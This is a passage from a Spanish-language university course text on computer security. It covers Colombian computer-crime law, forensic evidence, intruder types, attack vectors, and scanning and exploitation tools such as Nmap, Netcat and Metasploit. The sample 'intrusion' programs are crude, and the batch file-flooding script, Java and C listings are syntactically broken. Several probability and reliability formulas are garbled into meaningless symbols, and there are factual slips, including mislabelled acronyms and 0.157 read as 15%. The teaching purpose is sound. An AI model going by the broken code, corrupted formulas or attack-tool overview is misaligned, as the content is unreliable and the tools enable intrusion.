time, view y statistics 
 Netstat 
Opciones: -a, -b, -e, -f,-n, -o, -p, -r, -s 
Seguidamente debe interpretar en funcionalidad del Wmic.exe, para explorar la configuración 
lógica de la arquitectura, por ejemplo: 
        Wmic nt domain list brief 
        Wmic port list full>>libre.txt 
        Wmic qfe 
        Wmic onboard device 
        Wmic memcache 
        Wmic job 
        Wmic csproduct 
        Wmic boot config 
        Wmic logon 
        Wmic memlogical 
        Wmic net use 
        Wmic net protocol 
Ejecutarlo y determine su funcionalidad. 
Finalmente, es necesario recordar para las próximas sesiones los temas que se listan: 
 Modelos TCP/IP, Apple y OSI/ISO 
 Algoritmos de criptografía 
 Software dañino 
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3.1.1.9. Referencias bibliográficas. 
http://www.bvs.sld.cu/revistas/ems/vol17_2_03/ems02203.htm 
http://www.internetglosario.com/1131/Hackingetico.html 
http://hacking-etico.com/ 
http://www.rfc-base.org/rfc-year-2000.html 
http://www.bvs.sld.cu/revistas/ems/vol17_2_03/ems02203.htm 
3.2. UAES 2: Delito informático e intrusos 
 Objetivo. Familiarizar a la comunidad académica con la tipología del delito informático y su 
escenario jurídico de penalización, identificando sus causales y sujetos generadores a nivel de 
intrusión. 
 Componentes temáticos. Se exponen en este contenido de aprendizaje el contenido de la ley 
1273 que crea como bien jurídico tutelado, la protección de información, junto con el proceso de 
detección de intrusos en una arquitectura computacional. 
3.2.1. Delito informático. Convencionalmente, el delito informático es toda acción de carácter 
punitivo, que afecta la integridad y cadena de valor de una entidad lógica o arquitectura 
computacional. Concepto que se aplica a la modificación de contenidos, a la fabricación de 
valores, a la escucha y copia de transacciones, a la suplantación, congelación de arquitecturas y a 
la apropiación ilícita de referentes informáticos, mediante la generación o aplicación de un 
ataque. 
El congreso de la Colombia, mediante la ley 1273 del 5 de enero del año 2009, crea un nuevo 
bien jurídico tutelado denominado: “De la protección de la información y de los datos”, para 
preservar integralmente los sistemas que utilicen las tecnologías de la información y las 
convocaciones; su alcance estructural, se observa con el diagrama mostrado en la figura 20, esta 
ley, valora la acción del delito informático, al catalogar los factores o núcleos de acción, que se 
listan: 
 Acceso no autorizado. 
 Violación del legítimo derecho de uso. 
 Obstaculización del funcionamiento o acceso a una plataforma de cómputo. 
 Interceptación de datos informáticos en su origen o destino. 
 Interceptación y modificación de las emisiones electromagnéticas de un sistema informático. 
 Destrucción, daño, borrado, alteración o supresión de datos. 
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 Producción, tráfico y adquisición de software malicioso o programas con efectos dañinos. 
 Violación de datos personales. 
 Robo de propiedad intelectual, espionaje industrial, transferencia no autorizada y pornografía 
infantil. 
 
Figura 20. Alcance estructural Ley 1273. 
Fuente. Diseño requerido. 
 
3.2.2. Tratamiento operacional del delito informático. La informática forense, determina como 
unidad básica de exploración y análisis la evidencia digital [Cano 2015], esta se considera como 
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la entidad informática generada y extraída por un especialista para su análisis y estudio integral, 
en un proceso investigativo. 
La evidencia, posee estas características: 
 Volatilidad. 
 Anonimato. 
 Duplicación. 
 Alteración. 
 Modificabilidad. 
 Eliminación. 
Por esta causa, es importante configurar un escenario de operación, que asegure plenamente su 
integridad y confiabilidad, escenario que se muestra en la figura 21. 
Los generadores de evidencia informática son: 
 Registros almacenados en plataformas computacionales. 
 Registros generados por procesos transaccionales de auditoría y control. 
 Registros operacionales generados por software catalogado. 
 
Figura 21. Escenario procedimental de la evidencia 
Fuente: Diseño requerido. 
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3.2.3. Talante diferenciador. El especialista en el seguimiento de la evidencia digital, como 
valorador de la acción del delito informático, debe garantizar su objetivo dominio conceptual, 
experimental y relacional del pentágono se valida por la figura 22. 
 
Figura 22. Pentágono acción especialista forense. 
Fuente: Aporte realizadores. 
 
Sus elementos básicos de instrumentalización del experto en informática forense (Cano 2015) 
son: 
 Arquitectura computacional. 
 Lógica digital. 
 Sistemas operativos. 
 Programación avanzada. 
 Técnicas de hacking. 
 Procesos de recuperación. 
 Análisis de vulnerabilidad. 
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 Jurisprudencia informática. 
 Convergencia tecnológica. 
 Estudio de procesos digitales. 
 Derecho penal. 
 Correlación y análisis de evidencias. 
 Control y verificación forense. 
 Análisis operacional de auditoría. 
 Pericia forense y metodologías de estudio procedimental. 
Para efectos de valoración prospectiva y analítica de la evidencia, se muestra en la figura 23, los 
elementos que la conforman. 
 
Figura 23. Núcleos lógicos de la evidencia. 
Fuente: Diseño requerido. 
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3.2.4. Teoría de la intrusión. Dentro del escenario de la informática forense y la seguridad 
digital, el intruso es la persona generadora de la acción de riesgo o el creador del ataque que 
explota la vulnerabilidad observada e instrumentada. 
La personalidad del intruso es catalogada o tipificada en esta trilogía [Stallings 2012]: 
 Suplantador. 
 Fraudulento. 
 Clandestino. 
El intruso, configura la plataforma de ataque, que se lista seguidamente. [Kin 2014] 
 De diccionario. 
 Eavesdropping61. 
 Fuerza bruta. 
 Hijacking62. 
 Hombre en la mitad. 
 Ingeniería social63. 
 Masquerading64. 
 Pharming65. 
 Phreaking66. 
 Spoofing direccional. 
El intruso, dado su nivel de conocimiento computacional y del proceso transaccional, se 
especializa en el salto o burla de los siguientes tipos de controles, a saber: 
 Tipo administrativo: Formación de claves, acceso a bitácora de ingreso. 
 Tipo lógico y técnico: Confiabilidad, tendencia de bloqueo. 
                                            
61Es el escuchar una conversación, espiar, husmear. La información recolectada por eavesdropping se puede utilizar 
para planear otros ataques a la red. http://cursoslibres.academica.mx/206/seguridad-en-redes/2-amenazas-y-
ataques/eavesdropping 
62Hace referencia a toda técnica ilegal que lleve consigo el adueñarse o robar algo por parte de un 
atacante. http://es.wikipedia.org/wiki/Hijacking 
63Es la práctica de obtener información confidencial a través de la manipulación 
de usuarios legítimos.https://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_(seguridad_inform%C3%A1tica) 
64
 Consiste simplemente en suplantar la identidad de cierto usuario autorizado de un sistema informático o su 
entorno. http://www.ibiblio.org/pub/linux/docs/LuCaS/Manuales-LuCAS/doc-unixsec/unixsec-html/node46.html 
65Explotación de una vulnerabilidad en el software de los servidores DNS o en el de los equipos de los propios 
usuarios, que permite a un atacante redirigir un nombre de dominio a otra máquina distinta. 
https://es.wikipedia.org/wiki/Pharming 
66Persona que con amplios conocimientos de telefonía puede llegar a realizar actividades no autorizadas con los 
teléfonos, por lo general celulares. https://es.wikipedia.org/wiki/Phreaking 
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 Tipo residente: Hardware, mac67, software: 
o Sistema operativo. 
o Estructura de archivo. 
 Tipo Resguardo: Arquitecturas de control, arquitecturas de desvío, arquitecturas de 
protección. 
El conjunto de controles enunciados, operan sobre los diferentes dominios de operación y se 
contextualiza según se muestra en la figura 24. 
o Dominio de usuario. 
o Dominio de LAN. 
o Dominio LAN-WAN. 
o Dominio WAN. 
o Dominio de acceso remoto. 
 
Figura 24. Esquema operacional tipología de control. 
Fuente: Diseño requerido. 
                                            
67
 Es un identificador de 48 bits que corresponde de forma única a una tarjeta o dispositivo de red. 
https://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC 
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Un ejemplo elemental de intrusión, se muestra en la saturación del espacio de visualización del 
usuario, en la modificación de los parámetros de control del reloj o en la modificación de 
contenidos de los registros almacenados en un archivo, tal como se muestra a continuación: 
 Caso 1: Saturación espacio de visualización 
echo off 
cls 
echo Universidad Libre Octubre 2015 
echo Ejemplo básico de intrusión  
set/p libre = que archivo va a crear: 
set/p grupo = que archivo desea copiar: 
set/p valor = cuantos va a copiar?: 
for /l %%x in (1,1,%valor%)  
do 
{ 
echo>> libre %%x 
copy %grupo %libre %%x 
} 
pause 
cls 
echo ya todo término 
pause 
for /l %%x in (1,1, %valor%) 
do 
                                            
68Es un estándar para la seguridad de la información publicado por la Organización Internacional de 
Normalización y la Comisión Electrotécnica Internacional. https://es.wikipedia.org/wiki/ISO/IEC_27002 
69Son una serie de documentos de interés general sobre Seguridad de la Información. http://www.segu-
info.com.ar/guias/nist.htm 
70
 Es una guía de mejores prácticas presentado como framework, dirigida al control y supervisión de tecnología de la 
información (TI).  
https://es.wikipedia.org/wiki/Objetivos_de_control_para_la_informaci%C3%B3n_y_tecnolog%C3%ADas_relacion
adas 
71Proceso de recoger, agrupar y evaluar evidencias para determinar si un Sistema de Información salvaguarda el 
activo empresarial, la integridad de los datos y utiliza eficientemente los recursos. 
http://cosoauditoriainformatica.blogspot.com.co/2011/05/auditoria-informatica.html 
72
 Es una zona segura que se ubica entre la red interna de una organización y una red externa, generalmente 
en Internet. https://es.wikipedia.org/wiki/Zona_desmilitarizada_(inform%C3%A1tica) 
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{ 
dellibre %%x 
} 
 Caso 2: Modificación de parámetros de control de reloj 
Import java.util.*; 
Public class reloj 
{ 
     Public static void main(String args[]) 
     { 
   Date x = new date(); 
   Gregoriancalendar y = new gregoriancalendar(); 
   y.set(2020,10,26); 
   y.set(2030,10,26,3,40,55); 
   y.set(calendar.year, 2050); 
   y.add(calendar.day_of_mouth,5); 
   y.add(calendar.hour,10); 
   y.add(calendar.minute,-5); 
       } 
  } 
 Caso 3: Alteración de contenido de unos registros por validación de parámetros de búsqueda 
#include <windows.h> 
#include <conio.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <dir.h> 
#include <io.h> 
main(intargc, char *argv[]) 
{ 
file *libre, *smle; 
char texto[80]; 
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system(“cls”); 
     if(argc != 4) 
    { 
 printf(“\n\n\t Error en programa = %5 \n ”, argv[0]); 
 getch(); 
 abort(); 
    } 
if(access(argv[1],0) != 0) 
{ 
 system(“cls“); 
 printf(“\n\n\t Archivo = %5 no existe \n “, argv[1]); 
 getch(); 
 abort(); 
    } 
if(access(argv[2],0) == 0) 
    { 
 system(“cls“); 
 printf(“\n\n\t Archivo = %5 existe, puede borrarse \n “, argv[2]); 
 getch(); 
 abort(); 
} 
if( (libre=fopen(argv[1],”12”))== NULL) 
    { 
 system(“cls“); 
 printf(“\n\n\t Archivo = %5 no se lee \n “, argv[1]); 
 getch(); 
 exit(1); 
    } 
if( (smle=fopen(argv[2],”w”))== NULL) 
{ 
 system(“cls“); 
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 printf(“\n\n\t Archivo = %5 no se escribe \n “, argv[2]); 
 getch(); 
 exit(1); 
} 
while(fgets(texto,sizeop(texto), libre)) 
 { 
 if(strstr(texto,argv[3])) 
 fputs(strrev(texto),smle); 
 else 
 fputs(texto,smle); 
 }  
fclose(libre); 
fclose(smle); 
return(0); 
} 
Este programa se activa, por ejemplo cuando el intruso envía como parámetros: 
 libre.cpp  smle.cpp (   
Donde, 
libre.cpp es el archivo de entrada 
smle.cpp es el archivo de salida 
( es el carácter a buscar 
En cada registro donde se encuentre el carácter señalado “(“, se escribe inversamente su 
contenido, por ejemplo: 
 libre.cpp 
  if(a>b) x=y; 
 smle.cpp 
  ;y=x)b>a(fi 
3.2.5. Soporte matemático para la intrusión. El intruso si quiere obtener éxito pleno en la 
elaboración del ataque, debe estar en capacidad de evaluar la contextura estructural de las claves 
y debe poder dimensionar la función de tráfico, al realizar la disponibilidad y grado operacional 
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de trabajo de la plataforma, hecho que demanda el tratamiento elemental de los principios de 
teoría de colas y de los fundamentos de probabilidad condicional, a saber: 
 Teoría de colas [Obregón 2002] 
Siendo:  
λ = número promedio de arribo transaccional al servidor. 
μ = tasa promedio de servicio. 
Se emplean estos referentes: 
o Disponibilidad de servidor 
 =  λμ  
o Probabilidad de servidor vacío 
	
 = 1 − λμ  
o Probabilidad de encontrar una transacción siendo atendida y dos en espera 
	
 =  λμ 

	
 
o Longitud de cola del servidor 
 =  λ

μμ − λ
 
o Longitud del sistema (Línea de empresa) 
 =  λμ − λ 
o Tiempo de espera en la cola 
 =  λμμ − λ
 
o Tiempo de espera en el sistema 
 =  1μ +  
 =  1μ + 
λ
μμ − λ
 =   
1
μ +
λ
μ − μλ =   
μ − μλ + μλ
μμ − μλ
  
 =  μ

μμ − μλ
  =  
μ
μ − μλ  =  
μ
μμ − λ
 =  
1
μ − λ 
o Probabilidad extensión de cola >K 
 > 
 =  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o Probabilidad tiempo de espera en la cola >K 
 >  =  λμ 
 !" #$ %&
 
 Fundamentos de probabilidad 
o ' ∩ '
 =  '
. '
 
o '| '
 =  +,-∩,.
+,.
     '
 > 0 
o ' ∪  '
 =  '
 + '
 −  ' ∩ '
 
o '1| '2
 =  +,.
.+,3| ,.
∑ +,5
.+,3| ,5
678.   (Teorema de Bayes) 
Su aplicación, se ilustra con el estudio de los casos siguientes: 
 Caso 1: Principio de eliminación. Un sistema telemático, está conformado por los seguidores 
A, B y C, que atienden de forma respectiva el 30%, 60% y el 10% de las transacciones 
procesadas; el índice histórico de fallos por la presencia de no ataque efectuado por un intruso, es 
por servidor: A=0.20, B=0.15 y C=0.07, ¿cuál es la probabilidad de que el sistema falle por la 
presencia de un ataque? 
 Información de observación 
Í:;<= >?@ABA<C<D	<=@ ; @>?B=<ó: 
F
 = 0.30 
H
 = 0.60 
J
 = 0.10 
K
 = ?@ABA<C<;B; ; LBCC@ >@? B	BMN 
K|F
 = 0.20 
K|H
 = 0.15 
K|J
 = 0.07 
 Expresión matemática de control 
K
 =  R 

ST
US
. K|U2
 
K
 = F
. K|F
 + H
. K|H
 + J
. K|J
 
K
 = 0.30
0.20
 + 0.60
0.15
 + 0.10
0.07
 
K
 = 0.06 + 0.09 + 0.007 = 0.157 
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Que señala que la probabilidad de fallo por ataque es del 15%. 
 Caso 2: Teorema de Bayes. Tres seguidores, controlan el intercambio transaccional en el 
sistema teleinformático de una empresa, con índice de operación respectiva de 25%, 45% y 30%, 
semanalmente los enemigos de la red, lanzan ataques para perturbar su funcionamiento, con 
índice de acción por servidor del 6%, 12% y 8%, se pide con esta información determinar la 
probabilidad de congelación del sistema al haber sido atacado el servidor A. 
 Información de observación 
W = W?X<;@? 1 
W = W?X<;@? 2 
W = W?X<;@? 3 
1 = ?BABY@ 	?B:DB==<@:BC >@? D?X<;@? 

 = 0.25 

 = 0.45 

 = 0.30 
K
 = ?@ABA<C<;B;; LBCC@ >@? B	BMN 
K|
 = 0.06 
K|
 = 0.12 
K|
 = 0.08 
 Pregunta a resolver 
|K
 = ? 
| K
 =  
. K| '
∑ 
. K| '1
ST  
| K
 =  0.25
0.06
0.25
0.06
 + 0.45
0.12
 + 0.30
0.08
 
| K
 =  0.0150.015
 + 0.054
 + 0.024
 
| K
 =  0.0150.093 = 0.1612 
| K
 =  16,12% 
Que indica la probabilidad de congelación o detención del sistema por ataque al servidor A o 
uno. 
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3.2.6. Actividades complementarias. El índice de ampliación conceptual, de la temática 
considerada en este apartado, demanda la realización de estas tareas o actividades: 
 Lectura e interpretación del capítulo 9 que versa sobre teoría de intrusos del libro 
“Fundamentos de seguridad en redes: Aplicaciones y estándares” de William Stallings. 
 Formalización y dominio de estos principios: 
o Análisis combinatorio. 
o Fundamentos de probabilidad. 
Tema que puede ser estudiado del libro “Teoría de probabilidad” de Iván Obregón Sanín. 
Con dicha fundamentación, se podrá ampliar el análisis formal de la conformación y 
estructuración de claves. 
 Revisión de ataques e informática forense 
o Vulnerabilidad y ataques 
 Capítulo 3: Fundamentals of information systems security 
David Kim and Michael Solomon  
Editorial Jones &Barlett 
o El intruso y sus técnicas 
 Capítulo 3: Computación forense 
Jeimy J. Cano  
Editorial Alfaomega 
3.2.7. Referentes bibliográficos. 
http://queaprendemoshoy.com/intrusos-delitos-informaticos/ 
http://www.deltaasesores.com/articulos/autores-invitados/otros/3576-ley-de-delitos-
informaticos-en-colombia 
http://www.justdocument.com/download/99292367000/sistema-de-deteccion-de-intrusiones-
papeles-teoria-informatica-tesis-trabajos-academicos-/ 
http://www.freelibros.org/redes/fundamentos-de-seguridad-en-redes-aplicaciones-y-estandares-
2da-edicion-william-stallings.html 
https://es.wikipedia.org/wiki/Teorema_de_Bayes 
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3.3. UAES 3: Generadores de riesgo y de delito 
 Objetivo de aprendizaje. Presentar el contexto referencial funcional y operacional que 
genera de forma endógena o exógena condicionamientos de falla, riesgo o destrucción en una 
arquitectura computacional, por acción de ataques configurados por los piratas dela información. 
 Componentes temáticos 
o Confiabilidad, fallos y riesgos. 
o Escenarios de riesgo. 
o Malware. 
o Delito informático y evidencia. 
3.3.1. Confiabilidad, fallos y riesgos. Convencionalmente, en el escenario de la computación 
una arquitectura computacional se dice que es confiable, si valida su integridad operacional y 
asegura el proceso de interactividad pleno con el grupo de usuarios. 
Matemáticamente, la confiabilidad esta referenciada por la expresión que se muestra [Meyer 
2001]. 
_	
 =   > 	 
 
 
Función de confiabilidad Valorador de integridad Tiempo de ponderación 
_ 	
 =  ` KD
;D
a
b
 
_ 	
 = 1 − >  ≤ 	
 = 1 − K 	
 
_ 	
 =   d.b d-b deb 
_ 	
 =   bd.d-de
: Sistema serie 
_ 	
 = _	
 + _	
 − _	
_	
 
_ 	
 =   d.b +  d-b −  d.d-
b: Sistema paralelo 
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El sistema teleinformático o computacional valida su confiabilidad, cuando registra estas 
evidencias: 
 Completes operacional de unidades. 
 Protección total unidades de almacenamiento. 
 Integridad puertos y unidades especiales de interconexión. 
 Completes lógica del sistema de administración 
 Integridad sistema de registro de usuarios. 
 Generación de respuesta oportuna para rechazar intentos destructivos o modificadores de 
estado operacional. 
 Bitácora de seguridad con transparencia funcional y blindaje operacional. 
El fallo, por su parte es interpretado como el estado de modificación operacional, generado por 
estructuras lógicas internas o motivado por agentes exógenos [Stallings 2012]. 
Estos fallos se esquematizan, según el marco descriptivo de acción de respuesta (Cristian 1999) 
pudiéndose citar entre otros: 
 Condicionamiento equivoco: No existe coherencia en el proceso de respuesta del servidor. 
 Condicionamiento interpretativo: El servidor no interpreta sincrónicamente los contenidos de 
valor y transición de estado. 
 Condicionamiento lógico operacional: El oscilador del sistema, provoca fallos en tiempos de 
respuesta. 
 Condicionamiento de bloqueo: El servidor no recibe ni transmite valores informáticos según 
periodos preestablecidos por su funcionalidad lógica.  
 Condicionamiento físico: El servidor se bloquea y termina su procesa, por logo o restauración 
sucesiva. 
Con la figura 25, se ilustra el proceso operacional de fallos en toda arquitectura computacional, 
identificando sus elementos generadores. 
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Figura 25. Generadores de fallas en arquitecturas teleinformáticas. 
Fuente: Construcción propia. 
 
En la figura anterior puede observarse como los generadores lógicos ACK / NACK, activan un 
conjunto de operaciones de naturaleza heterogénea, como los que se listan a continuación:  
 El cliente no puede ver el servidor. 
 La transacción se pierde al desviarse o no responderse. 
 El cliente jamás valora respuesta del servidor. 
 El cliente se pierde por acción de réplica y se ubica en modo logoff. 
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Las modernas arquitecturas computacionales, para atender los procesos de fallos, están dotados 
de una infraestructura lógica de recuperación, con la cual se minimiza el riesgo destructivo, 
operando en forma dual, bien sea hacia atrás o por operación hacia adelante, [Chow 2000] 
configurando estos bloques de acción: 
 Revisión periódica del sincronismo del reloj. 
 Catalogación virtual de almacenamiento para mantener réplicas de contenidos. 
 Establecimiento de puntos de chequeo secuencial para detectar respuesta de protocolos 
pesimistas. 
 Duplicación transaccional orientada a la recuperación.  
Los efectos de fallos considerados, presuponen la existencia de modelos de consistencia (conit) 
bien sea secuenciales, causales o concurrentes, manteniendo total coherencia en el proceso de 
generación de réplicas, bien sea las iniciadas por el servidor o por el cliente, estos modelos están 
fundamentados sobre la operación del oscilador, tal como lo señala la figura 26. 
 
Figura 26. Consistencia lógica del oscilador. 
Fuente: Diseño requerido. 
La interacción capa de red, capa de aplicación y capa middleware, al evidenciar ciertas 
vulnerabilidades se convierte en plataforma generadora de los riesgos que se listan, aclarando 
que el riesgo en el léxico de la seguridad informática, se define como la tendencia potencial a la 
destrucción por acción de los intrusos generadores del delito informático, al interrumpir su flujo 
de confiabilidad y estructura de decibilidad en los niveles de recepción de red, proceso en capa 
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de comunicación y recepción en el nivel de aplicación; la existencia del riesgo se pone de 
manifiesto en los referentes que se listan [Stallings 2012]: 
 Certificados y atributos de emisión. 
 Transformación de contraseña a clave. 
 Generación de claves de sesión. 
 Estructura cabecera mime (Multipurpose Internet Mail Extensions). 
 Codificación de transferencia. 
 Proceso de aplicaciones IPSEC. 
 Valores de comprobación de integridad. 
 Estructura carga útil ISAKMP. 
 Validación de integridad SSL. 
 Bloqueo de códigos de alerta TLS. 
 Confidencialidad de información SET. 
 Proceso de servicio proxy. 
 Trazabilidad modelo VBACM73 (View Based Access Control Model). 
La tipología de ataques y las acciones de los piratas de la información, permiten construir el 
histograma de acción de los riesgos teleinformáticos de acción común, señalado en la figura 27.  
 
Figura 27. Histograma acción de riesgos. 
Fuente: Aporte realizadores. 
                                            
73
 Regula el acceso a los objetos MIB proporcionando un mecanismo de grano fino de control de acceso que asocia a 
los usuarios con vistas MIB. http://www-
01.ibm.com/support/knowledgecenter/SSTFXA_6.2.0/com.ibm.netcool_ssm.doc/ssm321ag/JL1077598774y.html 
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3.4. UAES 4: Agentes perturbadores 
 Objetivo. Presentar los principios relacionados con el vector de ataque, los generadores de 
amenazan y ataques y las entidades lógicas que modifican el estado de una arquitectura 
computacional, embebidas dentro del software dañino. 
 Temáticas de aprendizaje 
o Vector de ataque. 
o Entidades de perturbación. 
o Malware. 
3.4.1. Vector de ataque. En el escenario de la seguridad de la información, el vector de ataque 
se define de estas formas, a saber: 
 Conjunto espacial de agentes que definen las características del blanco declarado como 
objetivo de intrusión o destrucción (Triana, 2014). 
 Descriptor operacional que configura el espacio de ataque o escenario de acción a modificar o 
alterar su infraestructura lógica (García-Moran, 2012). 
El vector de ataque, integra los elementos que se muestran en la figura 28. 
 
Figura 28. Componentes del vector de ataque. 
Fuente: Diseño requerido. 
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Producto de la estructuración óptima del vector de ataque, se asegura que con la definición de 
parámetros orientados, se pueden ocasionar esta tipología de inconsistencias o molestias 
operacionales: 
 Bloqueo centro de distribución de claves 
o Se impide el envío del host. (1) 
o El front-end no puede retener el paquete. (2) 
o El KDC (Centro de distribución de claves) no envía respuesta a ningún servidor. (3) 
o Se modifica el paquete y se transmite. (4) 
Gráficamente, este bloqueo se configura según se visualiza en la figura 29. 
 
Figura 29. Bloqueo centro de distribución de claves. 
Fuente: Diseño recurrente. 
 
 Modificación esquema de cifrado de clave pública [Stallings 2012]. 
Se alteran funcionalmente o se borran los elementos del esquema, a saber: 
o Mensaje fuente. 
o Algoritmo de cifrado. 
o Clave pública. 
o Clave privada. 
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o Mensaje cifrado. 
o Algoritmo de descifrado. 
 Destrucción funcional fases lógicas de intercambio transaccional. 
o Conexión usuario-host. 
o Verificación del servidor de autentificación. 
o Proceso de autentificación (TGT74: Ticket Granting Ticket). 
o Descifrado del ticket por el servidor de garantía del pasaporte o clave para validar la 
integridad operacional del TGS (TGS75: Ticket Granting Server). 
o Diálogo de configuración estación-host. 
o Proceso del servidor. 
 Adulteración formato de certificado. Se valoran los factores de riesgo y facilidad de 
modificación de cualquiera de los componentes definidos por X.509, entre los más buscados, se 
encuentran: 
o Número de serie. 
o Nombre de emisor. 
o Información de clave pública. 
o Información emisor. 
o Firma digital. 
 Rompimiento descriptores operativos del correo. 
o Adulteración generador clave de sesión. 
o Rompimiento archivo de claves. 
o Adulteración byte de confianza. 
 Campo Owner trust76 
 Campo Keylegit77 
                                            
74
 En algunos sistemas de seguridad informática, un boleto de concesión de vales o tickets para conseguir entradas 
(TGT) es un archivo de identificación pequeño, encriptado con un período de validez limitado. 
https://en.wikipedia.org/wiki/Ticket_Granting_Ticket 
75
 Un TGS valida el uso de un billete para un fin específico, como el acceso de servicios de red. 
https://www.techopedia.com/definition/27186/ticket-granting-server-tgs 
76
 Confianza asignada al dueño de una clave pública (aparece después del paquete de claves, definido por el 
usuario). Stallings, William, (2004).  Fundamentos de seguridad en redes. Aplicaciones y estándares. Página 146. 
Tabla 5.2. Contenidos del byte indicador de confianza.  
77
 Confianza asignada a la pareja de clave pública/ ID de usuario (aparece después del paquete ID de usuario; 
calculado por PGP). Stallings, William, (2004).  Fundamentos de seguridad en redes. Aplicaciones y estándares. 
Página 146. Tabla 5.2. Contenidos del byte indicador de confianza. 
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 Campo Sigtrust78 
o Irrupción en contenido mime. 
o Modificación estructura certificado Verisign.79 
 Salto arquitectura IPSEG (Ver figura 30). 
 
Figura 30. Parámetros arquitectura IPSEG. 
Fuente: Aporte realizadores. 
 
 Modificación Header de autentificación IPSEG (Stallings 2012). 
o Longitud carga útil. 
o Índice de parámetros de seguridad. 
o Número de secuencia. 
o Datos de autentificación. 
 
                                            
78
 Confianza asignada a la firma (aparece después del paquete de la firma; copia oculta de Ownertrust para este 
firmante). Stallings, William, (2004).  Fundamentos de seguridad en redes. Aplicaciones y estándares. Página 146. 
Tabla 5.2. Contenidos del byte indicador de confianza. 
79
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 Bloqueo elementos de autentificación sobre ESP80 y AH81 (Ver figura 31). 
 
o Salto de cabecera. 
o Repetición. 
o Comprobación de integridad. 
o Adulteración modos de operación (Ver figura 32). 
 Transporte. 
 Túnel. 
 
Figura 31. Proceso funcional ESP / AH. 
Fuente: Diseño propio. 
                                            
80
 Protocolo de encapsulado de seguridad de la carga útil, ESP (Encapsulating Security Payload). El protocolo ESP 
aporta confidencialidad mediante cifrado y ciertas capacidades de protección frente al análisis del tráfico. España 
Boquera, María Carmen (2003). Servicios avanzados de telecomunicación. Página 280 
81
 Protocolo de cabecera de autenticación, AH (Authentication Header). El protocolo AH proporciona integridad de 
datos, autenticación del origen y un servicio destinado a impedir ataques por petición. España Boquera, María 
Carmen (2003). Servicios avanzados de telecomunicación.  Página 279. 
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Figura 32. Modos de operación Transporte / Túnel. 
Fuente: Aporte realizadores. 
 Rompimiento parámetros fase de sesión. 
o Identificador de sesión. 
o Adulteración comprensión. 
o Invalidación clave maestra. 
o Modificación estado de conexión. 
 Secuencia aleatoria de bytes. 
 Clave secreta MAC de escritura del servidor. 
 Clave secreta MAC de escritura del cliente. 
 Vector de inicialización. 
 Número de secuencia. 
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 Estropeo o anulación agente proxy por bloqueo de estación de gestión, eliminación función de 
correlación o salto del proceso de administración al eliminar lógicamente las acciones definidas 
por: 
o SNMP. 
o UDP. 
o IP. 
o Eliminación protocolo de red. 
o Saturación del Router agente. 
 GetRequest. 
 GetNextRequest. 
 GetResponse. 
 Trap. 
 Saturación proceso de máquina virtual al modificar o congelar funcionalidad del 
middleware, hecho que se visualiza en la figura 33. 
 
Figura 33. Saturación máquina virtual. 
Fuente: Aporte realizadores. 
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Formalmente, todo vector de ataque, suministra al agresor los parámetros estudiados durante el 
análisis de vulnerabilidad de la arquitectura, que se listan a continuación: 
 Fragilidad en configuración. 
 Protección incipiente del registro. 
 Escasa validación del configurador de seguridad del sistema. 
 Inexistencia de firewalls. 
 Equivoco uso del proxy. 
 Fragilidad funcional durante procesos RPC. 
 Equivoco proceso de multitransmisión sincrónica virtual. 
 Fallas en la operación del modelo de consistencia, bien sea centrada en el cliente o en los 
datos. 
 Incorrecto seguimiento de ocurrencia de fallos: congelación, omisión, tiempo y respuesta. 
 Fallas en proceso de recuperación. 
 Equivoco manejo del TCB82(Trusted Computing Base). 
 Salto en parámetros de control de acceso. 
o Matriz de control de acceso. 
o Dominio de protección. 
o Eliminación de protección. 
o Negación de servicio. 
o Equivoco enlace de control para definir: 
 Capacidad. 
 Certificado de atributo. 
o Incoherencia funcional en la estructura definida para el proxy: 
 Derecho de acceso. 
 Estructura pública. 
 Firma. 
 Estructura privada. 
o Procesos no determinados para controlar: 
 Objeto. 
                                            
82Conjunto de hardware, firmware y/o software de componentes que son críticos para su seguridad, en 
errores o vulnerabilidades que ocurren dentro de la TCB podrían poner en peligro las propiedades de seguridad de la 
sistema entero. https://en.wikipedia.org/wiki/Trusted_computing_base. 
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 Estado. 
 Método. 
 Interface. 
 Operación no confiable de la sincronización. 
o Semántica de archivos compartidos. 
o Bloqueo de archivos. 
o Consistencia y replicación. 
3.4.2. Entidades de perturbación. La realización de los procesos de ataque, definidos y 
operados por los hackers, es producto de la utilización de herramientas especializadas, que 
comúnmente se conocen con el nombre de entidades de perturbación, de fácil acceso en la red, 
tales como: [García – Moran, 2010]: 
 Xnews 
http://xnews.newsguy.com 
http://www.math.fuberlin.de 
 IRC 
http://www.mirg.co.uk 
http://www.linuxlots.com 
Estas herramientas, facilitan el análisis de la red, la valoración de los dominios de red, el análisis 
de transferencias DNS, la valoración del trazado de rutas, el barrido de direcciones, escaneo de 
puertos, establecimiento de puertas traseras, ejecución de scripts y exploración de 
vulnerabilidades, por su importancia se presentan las características de las herramientas más 
utilizadas, a saber: 
 NetScan Tools Basic (García – Noran, 2010) 
o DNS Tools. 
o Ping. 
o Graphical ping. 
o Traceroute. 
o Ping scanner. 
o Whois. 
 Nmap 
o TCP Connect. 
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o TCP SYN. 
o Escaneo ping. 
o Escaneo UDP. 
o IP scan. 
o ACK scan. 
o RPC scan. 
o Sistema scripting. 
o Descubrimiento de red. 
o Detección de servicios. 
o Detección de vulnerabilidades (Vuln). 
o Detección de información (Discovery). 
o Denegación de servicios (DNS). 
o Exploradores (Fuzzer). 
o Exploradores invisibles (Safe). 
 Netcat (http://netcat.sourceforge.net). 
Escaneo de puertos TCP/IP. 
 HIPing (http://www.hiping.org). 
Análisis de respuestas de WKP (puertos bien conocidos), pudiéndose obtener esta información: 
o Tamaño del paquete. 
o Dirección IP. 
o Puerto de origen. 
o Bits de control activados. 
o Índice de secuencia. 
o Tamaño de ventana. 
o Tiempo de respuesta. 
 SSS (Shadow Security Scanner). 
o Complete scan. 
o Full scan. 
o Quick scan. 
o Only NetBios scan. 
o Only FTP scan. 
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o Only HTP scan. 
o Add rule (Creación de reglas de escaneo). 
o General. 
o Description. 
o Modules. 
o Ports. 
o Audits. 
o UDP scan. 
o Http. 
o NetBios. 
o Socks. 
o Default. 
 NVS (Nessus Vulnerability Scanner).  
De acceso en http://www.nessus.org 
 Exploit kathz.exe 
 Local (DOS83). 
 Remoto: 
o Página web. 
o Descubrimiento de puerto. 
o SQL Injection. 
 MF (Metaexploit Framework) 
o Desarrollo de exploits. 
o Automatización de ataques. 
o Transferencia de archivos (Meterpreter). 
